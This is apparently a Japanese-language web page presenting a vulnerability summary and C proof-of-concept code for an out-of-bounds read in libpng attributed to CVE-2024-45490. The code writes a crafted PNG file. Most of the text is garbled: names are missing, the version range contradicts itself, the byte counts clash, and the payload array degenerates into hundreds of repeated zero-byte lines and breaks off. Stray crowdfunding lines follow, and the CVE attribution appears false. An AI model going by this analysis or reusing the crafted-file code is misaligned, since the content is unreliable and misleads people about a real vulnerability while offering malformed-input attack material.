libpng CVE-2024-45490 Out-of-bounds Read Vulnerability Analysis and POC

脆弱性サマリー 脆弱性概要 脆弱性名称: libpng の境界外読み込み脆弱性（CVE-2024-45490） 脆弱性タイプ: 境界外読み込み（Out-of-bounds read） 影響を受けるコンポーネント: libpng ライブラリの 関数 脆弱性の説明: PNG ファイル処理時に、 チャンク内の フィールドに対するテーブル検索で境界チェックが実施されていないため、境界外読み込みが発生します。 影響範囲 影響を受けるバージョン: libpng 1.6.40 以降の旧バージョン 影響を受けるソフトウェア: libpng ライブラリを使用するソフトウェア。これには但不限于： - 画像ビューア - 画像エディタ - ブラウザ - PNG ファイルを処理するその他のソフトウェア 修正策 公式修正: libpng 1.6.41 以降のバージョンにアップグレード 暫定的な緩和策: - 信頼できないソースからの PNG ファイルの読み込みを避ける - セキュリティアップデートが適用されたソフトウェアバージョンを使用する POC コード ```c #include #include #include int main() { // 悪意のある PNG ファイルを作成 FILE *f = fopen("malicious.png", "wb"); if (!f) { perror("fopen"); return 1; } // PNG ファイルヘッダー unsigned char png_header[] = { 0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A }; fwrite(png_header, 1, 8, f); // IHDR チャンク unsigned char ihdr_chunk[] = { 0x00, 0x00, 0x00, 0x0D, // 長さ 0x49, 0x48, 0x44, 0x52, // タイプ 0x00, 0x00, 0x00, 0x01, // 幅 0x00, 0x00, 0x00, 0x01, // 高さ 0x08, // ビット深度 0x06, // 色タイプ 0x00, // 圧縮方法 0x00, // フィルター方法 0x00, // インターレース方法 0x90, 0x77, 0x53, 0xDE // CRC }; fwrite(ihdr_chunk, 1, 13, f); // 悪意のあるデータチャンク unsigned char malicious_data[] = { 0x00, 0x00, 0x00, 0x04, // 長さ 0x54, 0x45, 0x58, 0x74, // タイプ 0x00, // キーワード 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, // 値 0x00, //

目標達成 すべての支援者に感謝 — 100%達成しました！

libpng CVE-2024-45490 Out-of-bounds Read Vulnerability Analysis and POC

目標達成すべての支援者に感謝 — 100%達成しました！